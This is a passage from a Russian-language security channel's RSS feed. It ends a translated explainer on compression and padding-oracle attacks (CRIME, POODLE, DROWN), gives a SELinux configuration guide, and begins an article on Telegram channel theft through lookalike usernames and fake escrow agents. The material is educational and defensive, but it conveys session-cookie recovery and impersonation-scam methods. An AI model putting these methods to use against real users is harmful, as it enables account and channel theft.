  </figure>
  <p> Опять же, мы контролируем один член (</p>
  <p>), видим небольшую утечку информации о другом члене (шифротексте) и пытаемся восстановить последний (открытый текст). Несмотря на аналогию, это несколько необычная ситуация по сравнению с другими атаками оракула, которые мы видели.</p>
  <p> Чтобы проиллюстрировать, как такая атака может работать, используем вымышленную схему сжатия, которую мы только что придумали: TOYZIP. Он ищет строки текста, которые уже появлялись ранее в тексте, и заменяет их тремя байтами-заполнителями, которые указывают, где найти более ранний экземпляр строки и сколько раз он там встречается. Например, строка <code>helloworldhello</code> может быть сжата в <code>helloworld[00][00][05]</code> длиной 13 байт по сравнению с оригиналом 15-ти байт.</p>
  <p> Предположим, взломщик пытается восстановить открытый текст формы </p>
  <p><code>password=...</code>, где сам пароль неизвестен. В соответствии с моделью атаки Келси, взломщик может попросить сервер сжать, а затем зашифровать сообщения формы (открытый текст, за которым следует ), где </p>
  <p> — произвольный текст. Когда сервер закончил работу, он сообщает длину результата. Атака идёт следующим образом:</p>
  <blockquote><strong>Взломщик:</strong> Пожалуйста, сожми и зашифруй открытый текст без каких-либо заполнений.<br /> <br /> <strong>Сервер:</strong> Длина результата 14.<br /> <br /> <strong>Взломщик:</strong> Пожалуйста, сожми и зашифруйте открытый текст, к которому добавлено <code>password=a</code>.<br /> <br /> <strong>Сервер:</strong> Длина результата 18.</blockquote>
  <p><em>Взломщик отмечает: [оригинал 14] + [три байта, которые заменили <code>password=</code>] + <code>a</code></em></p>
  <blockquote><strong>Взломщик:</strong> Пожалуйста, сожми и зашифруй открытый текст, к которому добавлено <code>password=b</code>.<br /> <br /> <strong>Сервер:</strong> Длина результата 18.<br /> <br /> <strong>Взломщик:</strong> Пожалуйста, сожми и зашифруй открытый текст, к которому добавлено <code>password=с</code>.<br /> <br /> <strong>Сервер:</strong> Длина результата 17.</blockquote>
  <p><em>Взломщик отмечает: [оригинал 14] + [три байта, которые заменили <code>password=c</code>]. Это предполагает, что оригинальный открытый текст содержит строку <code>password=c</code>. То есть пароль начинается с буквы <code>c</code></em></p>
  <blockquote><strong>Взломщик:</strong> Пожалуйста, сожми и зашифруй открытый текст, к которому добавлено <code>password=сa</code>.<br /> <br /> <strong>Сервер:</strong> Длина результата 18.</blockquote>
  <p><em>Взломщик отмечает: [оригинал 14] + [три байта, которые заменили <code>password=с</code>] + <code>a</code></em></p>
  <blockquote><strong>Взломщик:</strong> Пожалуйста, сожми и зашифруй открытый текст, к которому добавлено <code>password=сb</code>.<br /> <br /> <strong>Сервер:</strong> Длина результата 18.</blockquote>
  <p> (… некоторое время спустя…)</p>
  <blockquote><strong>Взломщик:</strong> Пожалуйста, сожми и зашифруй открытый текст, к которому добавлено <code>password=со</code>.<br /> <br /> <strong>Сервер:</strong> Длина результата 17.</blockquote>
  <p><em>Взломщик отмечает: [оригинал 14] + [три байта, которые заменили <code>password=co</code>]. По той же логике взломщик делает вывод, что пароль начинается с букв <code>co</code></em></p>
  <p> И так далее до тех пор, пока не будет восстановлен весь пароль.</p>
  <p> Читателю простительно думать, что это чисто академическое упражнение и такой сценарий атаки никогда не возникнет в реальном мире. Увы, как мы вскоре увидим, в криптографии лучше не зарекаться.</p>
  <h1>Брендовые уязвимости: CRIME, POODLE, DROWN</h1>
  <p> Наконец, после подробного изучения теории, мы можем посмотреть, как эти методы применяются в реальных криптографических атаках.</p>
  <h1>CRIME</h1>
  <figure class="m_custom">
    <img src="https://habrastorage.org/getpro/habr/post_images/6fa/646/453/6fa64645390f300a136f09f5171d7257.png" width="230" />
  </figure>
  <p>Если атака нацелена на браузер и сеть жертвы, что-то будет проще, а что-то — сложнее. Например, увидеть трафик жертвы легко: достаточно сидеть с ней в одном и том же кафе с WiFi. По этой причине потенциальным жертвам (т. е. всем) обычно рекомендуется использовать зашифрованное соединение. Будет посложнее, но всё равно возможно, выполнение HTTP-запросов от имени жертвы на какой-то сторонний сайт (например, Google). Злоумышленник должен заманить жертву на вредоносную веб-страницу со скриптом, который сделает запрос. Веб-браузер автоматически предоставит соответствующую сеансовую куку. Это кажется удивительным. Если Боб зашёл на </p>
  <p><code>evil.com</code>, неужели скрипт на этом сайте может просто попросить Google отправить пароль Боба по электронной почте на </p>
  <p><code>attacker@evil.com</code>? Ну, в теории да, но на самом деле нет. Такой сценарий называется атакой на подделку межсайтовых запросов (</p>
  <p><a href="https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)" target="_blank">Cross-Site Request Forgery</a>, CSRF), и он был популярен примерно в середине 90-х. Сегодня, если </p>
  <p><code>evil.com</code> попробует такой трюк, Google (или любой уважающий себя сайт) обычно ответит: «Отлично, но ваш токен CSRF для этой транзакции будет… ммм… </p>
  <p><code>три триллиона и семь</code>. Пожалуйста, повторите это число». Современные браузеры применяют нечто под названием «политика одинакового происхождения» (same-origin policy), согласно которой скрипты на сайте A не получают доступа к информации, отправленной веб-сайтом B. Поэтому скрипт на </p>
  <p><code>evil.com</code> может отправлять запросы к <code>google.com</code>, но не может прочитать ответы или на самом деле завершить транзакцию.</p>
  <p> Мы должны подчеркнуть, что если Боб не использует зашифрованное соединение, все эти защиты бессмысленны. Взломщик может просто прочитать трафик Боба и восстановить сеансовую куку Google. С этой кукой он просто откроет новую вкладку Google, не выходя из собственного браузера, и выдаст себя за Боба, не встречаясь с досадными политиками same-origin policy. Но, к сожалению для взломщика, такое встречается всё реже. Интернет в целом давно объявил войну незашифрованным соединениям, и исходящий трафик Боба, вероятно, зашифрован, нравится ему это или нет. Кроме того, с самого начала внедрения протокола трафик также <em>сжимался</em> перед шифрованием; это была обычная практика для уменьшения задержки.</p>
  <p> Здесь в игру вступает <a href="https://docs.google.com/presentation/d/11eBmGiHbYcHR9gL5nDyZChu_-lCa2GizeuOfaLU2HOU/edit#slide=id.g1d134dff_1_222" target="_blank">CRIME</a> (Compression Ratio Infoleak Made Easy, простая утечка через коэффициент сжатия). Уязвимость, которую показали в сентябре 2012 года исследователи безопасности Джулиано Риццо (uliano Rizzo) и Тай Дуонг (Thai Duong). Мы уже разобрали всю теоретическую базу, которая позволяет понять, что они сделали и как. Взломщик может заставить браузер Боба отправлять запросы в Google, а затем прослушивать ответы в локальной сети в сжатом, зашифрованном виде. Поэтому у нас есть:</p>
  <p></p>
  <figure class="m_original">
    <img src="https://teletype.in/files/50/5009ffb1-66f5-4cc9-ad82-3505435105f2.png" width="420" />
  </figure>
  <p></p>
  <p> Здесь взломщик контролирует запрос и имеет доступ к сниферу трафика, включая размер пакетов. Вымышленный сценарий Келси воплотился в жизнь.</p>
  <p> Понимая теорию, авторы CRIME создали эксплоит, который может украсть сеансовые куки для широкого спектра сайтов, включая Gmail, Twitter, Dropbox и Github. Уязвимость затронула большинство современных веб-браузеров, в результате чего были выпущены патчи, которые молча похоронили функцию сжатия в SSL, чтобы она вообще не использовалась. Единственным защищённым от уязвимости стал почтенный Internet Explorer, который вообще никогда не использовал сжатие SSL.</p>
  <h2>POODLE</h2>
  <figure class="m_custom">
    <img src="https://habrastorage.org/getpro/habr/post_images/9fd/2a3/4c2/9fd2a34c2c97b9a15bae645589e6dad7.jpg" width="230" />
  </figure>
  <p>В октябре 2014 года команда безопасности Google навела шороху в сообществе безопасности. Они смогли эксплуатировать уязвимость в протоколе SSL, исправленную более десяти лет назад.</p>
  <p> Оказалось, что хотя на серверах работает замечательный новенький TLSv1.2, многие оставили поддержку устаревшего SSLv3 ради обратной совместимости с Internet Explorer 6. Мы уже говорили об атаках на понижение, так что можете представить себе происходящее. Хорошо организованный саботаж протокола рукопожатия — и серверы готовы вернуться на старый добрый SSLv3, по сути отменив последние 15 лет исследований в сфере безопасности.</p>
  <p> Для исторического контекста, </p>
  <p><a href="https://blog.cryptographyengineering.com/2016/03/01/attack-of-week-drown/" target="_blank">вот краткое резюме истории SSL вплоть до версии 2 от Мэтью Грина</a>:</p>
  <blockquote>Transport Layer Security (TLS) — самый важный протокол безопасности в интернете. [..] почти каждая транзакция, которую вы проводите в интернете, зависит от TLS. [..] Но TLS не всегда был TLS. Протокол начал свою жизнь в <a href="https://en.wikipedia.org/wiki/Netscape" target="_blank">Netscape Communications</a> под названием &quot;Secure Sockets Layer&quot; или SSL. Ходят слухи, что первая версия SSL оказалась настолько ужасной, что разработчики собрали все распечатки кода и закопали на секретной свалке в Нью-Мексико. Как следствие, первая общедоступная версия SSL на самом деле является <a href="http://www-archive.mozilla.org/projects/security/pki/nss/ssl/draft02.html" target="_blank">версией SSL 2</a>. Она довольно страшненькая, и [..] это был продукт середины 90-х, которые современные криптографы рассматривают как «<a href="https://blog.cryptographyengineering.com/2012/09/on-provable-security-of-tls-part-1.html" target="_blank">тёмные века криптографии</a>». Многие из самых отвратительных криптографических атак, о которых мы знаем сегодня, ещё не были обнаружены. В результате разработчикам протокола SSLv2 пришлось по существу нащупывать путь в темноте, и они столкнулись с <a href="https://www.schneier.com/cryptography/paperfiles/paper-ssl.pdf" target="_blank">множеством ужасных монстров</a> — к их огорчению и нашей выгоде, поскольку атаки на SSLv2 оставили бесценные уроки для следующего поколения протоколов.</blockquote>
  <p> После этих событий, в 1996 году, разочарованная компания Netscape переработала протокол SSL с нуля. Результатом стал SSL версии 3, который </p>
  <p><a href="https://stason.org/TULARC/security/ssl-talk/4-11-What-is-the-difference-between-SSL-2-0-and-3-0.html" target="_blank">исправил несколько известных проблем безопасности своего предшественника</a>.</p>
  <p> К счастью для взломщиков, «несколько» не означает «все». В целом, SSLv3 предоставлял все необходимые строительные блоки для запуска атаки Воденэ. Протокол использовал блочный шифр в режиме CBC и небезопасную схему заполнения (это исправили в TLS; следовательно, возникла необходимость в атаке на понижение). Если вы помните схему заполнения в нашем первоначальном описании атаки Воденэ, схема SSLv3 очень похожа.</p>
  <p> Но, к несчастью для взломщиков, «похожая» не означает «идентичная». Схема заполнения SSLv3 имеет вид «N произвольных байт, за которыми следует число N». Попробуйте в таких условиях выбрать воображаемый блок зашифрованного текста и пройти через все этапы оригинальной схемы Воденэ: вы обнаружите, что атака успешно извлекает последний байт из соответствующего блока открытого текста, но дальше не проходит. Расшифровка каждого 16-го байта зашифрованного текста — отличный фокус, но это не победа.</p>
  <p> Столкнувшись с неудачей, команда Google прибегла к крайнему варианту: они переключились на более мощную модель угроз — ту, которая использовалась в CRIME. Если предположить, что злоумышленник — это скрипт, запущенный на вкладке браузера жертвы, и он может извлечь сеансовые куки, атака всё равно остаётся впечатляющей. Хотя более широкая модель угроз менее реалистична, но в предыдущем разделе мы уже видели, что эта конкретная модель осуществима.</p>
  <p> Учитывая такие более мощные возможности взломщика, теперь атака может продолжиться. Учтите, что злоумышленник знает, где в заголовке отображается зашифрованный сеансовый файл куки, и управляет длиной предшествующего ему HTTP-запроса. Поэтому он способен манипулировать HTTP-запросом так, чтобы выровнять последний байт куки в соответствии с концом блока. Теперь этот байт подходит для расшифровки. Можно просто добавить к запросу один символ, а предпоследний байт куки останется на том же месте и пригоден для подбора тем же методом. Атака продолжается таким образом, пока файл куки не будет восстановлен полностью. Это называется POODLE: Padding Oracle on Downgraded Legacy Encryption, заполнение оракула на пониженном устаревшем шифровании.</p>
  <h2>DROWN</h2>
  <figure class="m_custom">
    <img src="https://habrastorage.org/getpro/habr/post_images/c24/a6b/436/c24a6b43640c6a3ec7a7498fec486a82.png" width="205" />
  </figure>
  <p>Как мы уже упоминали, у SSLv3 были недостатки, но он кардинально отличался от предшественника, поскольку дырявый SSLv2 представлял собой продукт другой эпохи. Там можно было прервать сообщение на середине: </p>
  <p><code>соглашусь на это только через мой труп</code></p>
  <p> превращалось в </p>
  <p><code>соглашусь на это</code></p>
  <p>; клиент и сервер могли встретиться в интернете, установить доверие и обменяться секретами перед глазами злоумышленника, который потом легко выдавал себя и за того, и за другого. Ещё и проблема с экспортной криптографией, которую мы упомянули при рассмотрении FREAK. Это были криптографические Содом и Гоморра.</p>
  <p> В марте 2016 года команда исследователей из разных технических областей собралась вместе и сделала поразительное открытие: SSLv2 по-прежнему используется в системах безопасности. Да, злоумышленники больше не могли понижать современные сеансы TLS до SSLv2, поскольку эту дыру закрыли после FREAK и POODLE, но они всё ещё могут подключаться к серверам и инициировать сеансы SSLv2 самостоятельно.</p>
  <p> Вы спросите, какое нам дело, что они там делают? У них уязвимый сеанс, но это не должно влиять на другие сеансы или безопасность сервера — правильно? Ну, не совсем. Да, так и должно быть в теории. Но нет — потому что генерация сертификатов SSL накладывает определённое бремя, в результате чего многие серверы используют одни и те же сертификаты и, как следствие, одни и те же ключи RSA для соединений TLS и SSLv2. Что ещё хуже, из-за бага OpenSSL в этой популярной реализации SSL фактически не работала опция «Отключить SSLv2».</p>
  <p> Это сделало возможной кросс-протокольную атаку на TLS, которую назвали </p>
  <p><a href="https://drownattack.com/" target="_blank">DROWN</a></p>
  <p> (Decrypting RSA with Obsolete and Weakened eNcryption, расшифровка RSA с устаревшим и ослабленным шифрованием). Напомним, что это не то же самое, что атака на понижение; взломщику не нужно действовать как «человек в середине» и не нужно вовлекать клиента для участия в небезопасном сеансе. Злоумышленники просто сами инициируют небезопасный сеанс SSLv2 с сервером, атакуют слабый протокол и восстанавливают закрытый серверный ключ RSA. Этот ключ также действителен для соединений TLS, и с этого момента никакая безопасность TLS не спасёт его от взлома.</p>
  <p> Но для взлома нужна рабочая атака против SSLv2, которая позволяет восстановить не только конкретный трафик, но и секретный серверный ключ RSA. Хотя это и сложная постановка, но исследователи могли выбрать любую уязвимость, которую полностью закрыли после SSLv2. В конечном итоге они нашли подходящий вариант: атака Блайхенбахера, о которой мы упоминали ранее и которую подробно объясним в следующей статье. SSL и TLS защищены от этой атаки, но некоторые случайные функции SSL в сочетании с короткими ключами в криптографии экспортного класса, сделали возможным </p>
  <p><a href="https://blog.cryptographyengineering.com/2016/03/01/attack-of-week-drown/" target="_blank">определённую реализацию DROWN</a>.</p>
  <p> На момент публикации уязвимости DROWN были подвержены 25% топ-сайтов интернета, и атаку можно было провести со скромными ресурсами, доступными даже для озорных хакеров-одиночек. Для извлечения ключа RSA сервера требовалось восемь часов вычислений и $440, а SSLv2 сменил статус с «устаревшего» на «радиоактивный».</p>
  <h2>Погодите, а что насчёт Heartbleed?</h2>
  <p> Это не криптографическая атака в том смысле, как описанные выше; это переполнение буфера.</p>
  <h1>Cделаем перерыв</h1>
  <p> Мы начали с некоторых базовых методов: брутфорс, интерполяция, понижение, кросс-протокол и предвычисления. Затем рассмотрели одну продвинутую технику, возможно, главный компонент современных криптографических атак: это атака оракула. Мы довольно долго с ней разбирались — и поняли не только принцип в основе, но и технические детали двух конкретных реализаций: атаки Воденэ на режим шифрования CBC и атаки Келси на протоколы шифрования с предварительным сжатием.</p>
  <p> При обзоре атак на понижение и с предварительными вычислениями мы кратко изложили атаку FREAK, которая использует оба метода, поскольку целевые сайты опускаются до слабых ключей, а затем повторно используют одни и те же ключи. Для следующей статьи мы оставили (очень похожую) атаку Logjam, которая нацелена на алгоритмы с открытым ключом.</p>
  <p> Затем мы рассмотрели ещё три примера применения этих принципов. Во-первых, CRIME и POODLE: две атаки, которые полагались на способность взломщика внедрять произвольный открытый текст рядом с целевым открытым текстом, потом изучать ответы сервера и </p>
  <p><em>затем</em></p>
  <p>, используя методологию атаки оракула, использовать эту скудную информацию для частичного восстановления открытого текста. CRIME пошла по пути атаки Келси на сжатие SSL, в то время как POODLE вместо этого использовал вариант атаки Воденэ на CBC с тем же эффектом.</p>
  <p> Затем мы обратили внимание на кросс-протокольную атаку DROWN, которая устанавливает с сервером соединение по устаревшему протоколу SSLv2, а потом восстанавливает секретные серверные ключи с помощью атаки Блайхенбахера. На данный момент мы пропустили технические детали этой атаки; как и Logjam, ей придётся подождать, пока мы хорошенько не изучим криптосистемы с открытым ключом и их уязвимости.</p>
  <p> В следующем статье поговорим о продвинутых атаках — таких как метод встречи посередине (meet-in-the-middle), дифференциальный криптоанализ и атака «дней рождения». Совершим короткий набег на атаки по сторонним каналам, а затем примемся за самую вкуснятину — криптосистемы с открытым ключом.</p>
  <p>Оригинал: <a href="https://research.checkpoint.com/cryptographic-attacks-a-guide-for-the-perplexed/" target="_blank">https://research.checkpoint.com/cryptographic-attacks-a-guide-for-the-perplexed/</a></p>
  <p>Перевел: https://habr.com/ru/users/m1rko/</p>
  <h3>by @CyberLifes2020</h3>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@cyberlifes/BJRIjwkfr</guid><link>https://teletype.in/@cyberlifes/BJRIjwkfr?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=cyberlifes</link><comments>https://teletype.in/@cyberlifes/BJRIjwkfr?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=cyberlifes#comments</comments><dc:creator>cyberlifes</dc:creator><title>Руководство для начинающих по SELinux</title><pubDate>Fri, 19 Jul 2019 16:09:58 GMT</pubDate><media:content medium="image" url="https://teletype.in/files/37/37594f4a-7eb7-4098-a796-bcd28df57620.png"></media:content><description><![CDATA[<img src="https://teletype.in/files/77/77d4f313-fcb8-44f7-920c-a70f65b64ff8.png"></img>SELinux или Security Enhanced Linux — это улучшенный механизм управления доступом, разработанный Агентством национальной безопасности США (АНБ США) для предотвращения злонамеренных вторжений. Он реализует принудительную (или мандатную) модель управления доступом (англ. Mandatory Access Control, MAC) поверх существующей дискреционной (или избирательной) модели (англ. Discretionary Access Control, DAC), то есть разрешений на чтение, запись, выполнение.]]></description><content:encoded><![CDATA[
  <figure class="m_original">
    <img src="https://teletype.in/files/77/77d4f313-fcb8-44f7-920c-a70f65b64ff8.png" width="1280" />
  </figure>
  <p></p>
  <p>SELinux или Security Enhanced Linux — это улучшенный механизм управления доступом, разработанный Агентством национальной безопасности США (АНБ США) для предотвращения злонамеренных вторжений. Он реализует принудительную (или мандатную) модель управления доступом (англ. Mandatory Access Control, MAC) поверх существующей дискреционной (или избирательной) модели (англ. Discretionary Access Control, DAC), то есть разрешений на чтение, запись, выполнение.</p>
  <p>У SELinux есть три режима:</p>
  <ol>
    <li><strong>Enforcing</strong> — запрет доступа на основании правил политики.</li>
    <li><strong>Permissive</strong> — ведение лога действий, нарушающих политику, которые в режиме enforcing были бы запрещены.</li>
    <li><strong>Disabled</strong> — полное отключение SELinux.</li>
  </ol>
  <p>По умолчанию настройки находятся в <code>/etc/selinux/config</code></p>
  <h1>Изменение режимов SELinux</h1>
  <p>Чтобы узнать текущий режим запустите </p>
  <pre>$ getenforce</pre>
  <p>Для изменения режима на permissive запустите следующую команду </p>
  <pre>$ setenforce 0</pre>
  <p>или, для изменения режима с <strong>permissive</strong> на <strong>enforcing</strong>, выполните </p>
  <pre>$ setenforce 1</pre>
  <p>Если вам нужно полностью отключить SELinux, то это можно сделать только через файл конфигурации </p>
  <pre>$ vi /etc/selinux/config</pre>
  <p>Для отключения измените параметр SELINUX следующим образом:</p>
  <pre>SELINUX=disabled</pre>
  <h1>Настройка SELinux</h1>
  <p>Каждый файл и процесс помечается контекстом SELinux, в котором содержится дополнительная информация, такая как пользователь, роль, тип и т.д. Если вы впервые включаете SELinux, то сначала нужно настроить контекст и метки. Процесс назначения меток и контекста известен как маркировка. Чтобы начать маркировку, в файле конфигурации изменим режим на <strong>permissive</strong>.</p>
  <pre>$ vi /etc/selinux/config
SELINUX=permissive</pre>
  <p>После установки режима <strong>permissive</strong>, создадим в корне пустой скрытый файл с именем <code>autorelabel</code></p>
  <pre>$ touch /.autorelabel</pre>
  <p>и перезагрузим компьютер</p>
  <pre>$ init 6</pre>
  <p>Примечание: мы используем режим <strong>permissive</strong> для маркировки, поскольку использование режима <strong>enforcing</strong> может привести к краху системы во время перезагрузки.</p>
  <p>Не беспокойтесь, если загрузка застрянет на каком-то файле, маркировка занимает некоторое время. После завершения маркировки и загрузки вашей системы вы можете перейти к файлу конфигурации и установить режим <strong>enforcing</strong>, а также запустить:</p>
  <pre>$ setenforce 1</pre>
  <p>Теперь вы успешно включили SELinux на своем компьютере. </p>
  <h1>Мониторим логи</h1>
  <p>Возможно, у вас возникли какие-то ошибки во время маркировки или во время работы системы. Чтобы проверить, работает ли ваш SELinux правильно и не блокирует ли он доступ к какому-либо порту, приложению и т. д. нужно посмотреть логи. Лог SELinux находится в <code>/var/log/audit/audit.log</code>, но вам не нужно читать его целиком, чтобы найти ошибки. Можно использовать утилиту audit2why для поиска ошибок. Запустите следующую команду:</p>
  <pre>$ audit2why &lt; /var/log/audit/audit.log</pre>
  <p>В результате вы получите список ошибок. Если ошибок в логе не было, то никаких сообщений отображаться не будет.</p>
  <h1>Настройка политики SELinux</h1>
  <p>Политика SELinux — это набор правил, которыми руководствуется механизм безопасности SELinux. Политика определяет набор правил для конкретного окружения. Сейчас мы изучим как настраивать политики, чтобы разрешить доступ к запрещенным сервисам.</p>
  <h4>1. Логические значения (переключатели)</h4>
  <p>Переключатели (booleans) позволяют изменять части политики во время работы, без необходимости создания новых политик. Они позволяют вносить изменения без перезагрузки или перекомпиляции политик SELinux.</p>
  <p><strong>Пример</strong><br /> Предположим, мы хотим предоставить общий доступ к домашнему каталогу пользователя по FTP на чтение и запись, и мы уже расшарили его, но при попытке доступа мы ничего не видим. Это связано с тем, что политика SELinux запрещает FTP-серверу читать и писать в домашнем каталоге пользователя. Нам нужно изменить политику, чтобы FTP-сервер мог обращаться к домашним каталогам. Посмотрим, есть ли для этого какие-либо переключатели, выполнив</p>
  <pre>$ semanage boolean -l</pre>
  <p>Эта команда выдаст список доступных переключателей с их текущим состоянием (включено/on или выключено/off) и описанием. Вы можете уточнить поиск, добавив grep, чтобы найти результаты, относящиеся только с ftp:</p>
  <pre>$ semanage boolean -l | grep ftp</pre>
  <p>и найдете следующее</p>
  <pre>ftp_home_dir        -&gt; off       Allow ftp to read &amp; write file in user home directory</pre>
  <p>Этот переключатель выключен, поэтому мы включим его с помощью <code>setsebool $ setsebool ftp_home_dir on</code></p>
  <p>Теперь наш ftp-демон сможет получить доступ к домашнему каталогу пользователя.<br /> Примечание: вы также можете получить список доступных переключателей без описания, выполнив <code>getsebool -a</code></p>
  <h4>2. Метки и контекст</h4>
  <p>Это наиболее распространенный способ реализации политики SELinux. Каждый файл, папка, процесс и порт помечаются контекстом SELinux:</p>
  <ul>
    <li>Для файлов и папок метки хранятся как расширенные атрибуты в файловой системе и могут быть просмотрены следующей командой:<br /> <code>$ ls -Z /etc/httpd</code></li>
    <li>Для процессов и портов маркировкой управляет ядро, и можно посмотреть эти метки следующим образом:</li>
  </ul>
  <p>процесс</p>
  <pre>$ ps –auxZ | grep httpd</pre>
  <p>порт</p>
  <pre>$ netstat -anpZ | grep httpd</pre>
  <p><strong>Пример</strong><br /> Теперь давайте рассмотрим пример, чтобы лучше понять метки и контекст. Допустим, у нас есть веб-сервер, который вместо каталога <code>/var/www/html/ использует /home/dan/html/</code>. SELinux сочтет это нарушением политики, и вы не сможете просматривать ваши веб-страницы. Это потому, что мы не установили контекст безопасности, связанный с HTML-файлами. Для просмотра контекста безопасности по умолчанию используйте следующую команду:</p>
  <pre>$ ls –lz /var/www/html
 -rw-r—r—. root root unconfined_u:object_r:httpd_sys_content_t:s0 /var/www/html/</pre>
  <p>Здесь мы получили <code>httpd_sys_content_t</code> в качестве контекста для html-файлов. Нам нужно установить этот контекст безопасности для нашего текущего каталога, который сейчас имеет следующий контекст:</p>
  <pre>-rw-r—r—. dan dan system_u:object_r:user_home_t:s0 /home/dan/html/</pre>
  <p>Альтернативная команда для проверки контекста безопасности файла или каталога:</p>
  <pre>$ semanage fcontext -l | grep &#x27;/var/www&#x27;</pre>
  <p>Мы также будем использовать semanage для изменения контекста, после того как найдем правильный контекст безопасности. Чтобы изменить контекст /home/dan/html, выполните следующие команды:</p>
  <pre>$ semanage fcontext -a -t httpd_sys_content_t ‘/home/dan/html(/.*)?’
$ semanage fcontext -l | grep ‘/home/dan/html’
/home/dan/html(/.*)? all files system_u:object_r:httpd_sys_content_t:s0
$ restorecon -Rv /home/dan/html</pre>
  <p>После того, как контекст изменен с помощью semanage, команда restorecon загрузит контекст по умолчанию для файлов и каталогов. Наш веб-сервер теперь сможет читать файлы из папки <code>/home/dan/html</code>, поскольку контекст безопасности для этой папки был изменен на <code>httpd_sys_content_t</code>.</p>
  <h4>3. Создание локальных политик</h4>
  <p>Могут возникнуть ситуации, когда вышеуказанные методы бесполезны для вас, и вы получаете ошибки (avc/denial) в audit.log. Когда такое происходит, то нужно создать локальную политику (Local policy). Все ошибки вы можете найти с помощью audit2why, как было описано выше.</p>
  <p>Для устранения ошибок можно создать локальную политику. Например, мы получаем ошибку, связанную с httpd (apache) или smbd (samba), мы grep’аем ошибки и создаем для них политику:</p>
  <pre>apache
$ grep httpd_t /var/log/audit/audit.log | audit2allow -M http_policy
samba
$ grep smbd_t /var/log/audit/audit.log | audit2allow -M smb_policy</pre>
  <p>Здесь <code>http_policy</code> и <code>smb_policy</code> — это названия локальных политик, которые мы создали. Теперь нам нужно загрузить эти созданные локальные политики в текущую политику SELinux. Это можно сделать следующим образом:</p>
  <pre>$ semodule –I http_policy.pp
$ semodule –I smb_policy.pp</pre>
  <p>Наши локальные политики были загружены, и мы не должны больше получать никаких avc или denail в audit.log.</p>
  <hr />
  <p><em>Это была моя попытка помочь вам понять SELinux. Я надеюсь, что после прочтения этой статьи вы будете чувствовать себя с SELinux более комфортно.</em></p>
  <p>Оригинал: <a href="https://linuxtechlab.com/beginners-guide-to-selinux/" target="_blank">https://linuxtechlab.com/beginners-guide-to-selinux/</a></p>
  <p>Перевел:  vlstrochkov</p>
  <h3>by @Cyberlifes</h3>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@cyberlifes/BJIb15OZB</guid><link>https://teletype.in/@cyberlifes/BJIb15OZB?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=cyberlifes</link><comments>https://teletype.in/@cyberlifes/BJIb15OZB?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=cyberlifes#comments</comments><dc:creator>cyberlifes</dc:creator><title>Как угоняют каналы в Telegram?</title><pubDate>Sun, 14 Jul 2019 11:16:13 GMT</pubDate><media:content medium="image" url="https://teletype.in/files/4a/4aec7cdd-759b-4eed-9b5a-57fd1002dac1.png"></media:content><description><![CDATA[<img src="https://teletype.in/files/5c/5cb0724b-77f2-4693-a9b7-0a76124448a9.png"></img> В июне сообщество администраторов в Telegram захлестнула волна воровства каналов. Аккаунты мошенников разные, но почерк один — покупка канала и предварительный созвон в Skype. Чем новый способ отличается от прежних и как обезопасить себя? Сейчас расскажу.]]></description><content:encoded><![CDATA[
  <figure class="m_original">
    <img src="https://teletype.in/files/5c/5cb0724b-77f2-4693-a9b7-0a76124448a9.png" width="1280" />
  </figure>
  <p></p>
  <p> В июне сообщество администраторов в Telegram захлестнула волна воровства каналов. Аккаунты мошенников разные, но почерк один — покупка канала и предварительный созвон в Skype. Чем новый способ отличается от прежних и как обезопасить себя? Сейчас расскажу.</p>
  <p>Покупка и продажа каналов в Telegram — это не простой и не самый безопасный процесс. В связи с чем и продавец, и покупатель стараются быть максимально осторожными. Чаще всего сделки проводятся через зарекомендовавших себя гарантов.</p>
  <p>Обычно заинтересованные покупатели находят продающиеся каналы в чатах, на каналах и биржах соответствующей тематики либо напрямую пишут указанным в описании канала аккаунтам с предложением о покупке.</p>
  <h2>Как воровали раньше?</h2>
  <p>Методы угона существуют самые разные: подделка аккаунта гаранта, проведение сделки через фальшивого гаранта, оплата через посторонний сервис мошенника. Но во многих схемах угона повторяется один момент — подделка аккаунта. Каким образом, спросишь?</p>
  <figure class="m_custom">
    <img src="https://xakep.ru/wp-content/uploads/2019/07/228832/compare.jpg#26157956" width="961" />
    <figcaption>Настоящий и поддельный аккаунты администратора<br /></figcaption>
  </figure>
  <p>Это два разных аккаунта администратора одного канала. Какие отличия в логинах ты можешь заметить? На первый взгляд они выглядят идентично. Но давай сравним оба логина, приведя их к нижнему регистру.</p>
  <figure class="m_custom">
    <img src="https://xakep.ru/wp-content/uploads/2019/07/228832/usernames.jpg#26157956" width="243" />
    <figcaption>Подделка логина администратора канала<br /></figcaption>
  </figure>
  <p>Теперь различия очевидны. Мошенник вместо строчной буквы l указал заглавную i. Подобный обман — с подделкой схожих символов Unicode — используют мошенники в самых разных схемах. В нашем случае — при угоне каналов.</p>
  <p>Например, при проведении сделки продажи или покупки канала через гаранта. Покупатель, он же мошенник, создает общий чат с продавцом и гарантом для проведения сделки. На определенном этапе он быстро удаляет гаранта из чата и добавляет его поддельный аккаунт. Обычно это устраивают на решающем этапе сделки, чтобы продавец с гарантом не успели ничего заподозрить.</p>
  <p>После этого невнимательный продавец, не заметив подмены, выполняет все требования для продажи канала, но не получает взамен оговоренные деньги.</p>
  <p>Таким же образом подделывают аккаунты гарантов. Мошенник подбирает логин зарекомендовавшего себя гаранта. Иногда мошенник указывает реальный логин гаранта, но в поле «О себе». В таких ситуациях обманутыми оказываются и продавец, и покупатель.</p>
  <figure class="m_custom">
    <img src="https://xakep.ru/wp-content/uploads/2019/07/228832/susov.jpg#26157956" width="968" />
    <figcaption>Подделка аккаунта гаранта<br /></figcaption>
  </figure>
  <p>Помимо этого, мошенники любят предлагать провести покупку и продажу канала через посторонний платежный сервис — некий криптокошелек с приемом оплаты с банковских карт и популярных платежных систем.</p>
  <p>Если проверить информацию о сайте, то чаще всего оказывается, что он создан совсем недавно и упоминаний о нем в интернете нет. В такой схеме может пострадать любая из сторон.</p>
  <p>Покупатель просто переведет деньги на посторонний сервис, а позже обнаружит, что этот сайт больше не существует. Продавец, в свою очередь, может увидеть, что на сайте поступили деньги, и передать все права на канал в Telegram покупателю. При попытке вывести деньги выяснится, что сделать это невозможно.</p>
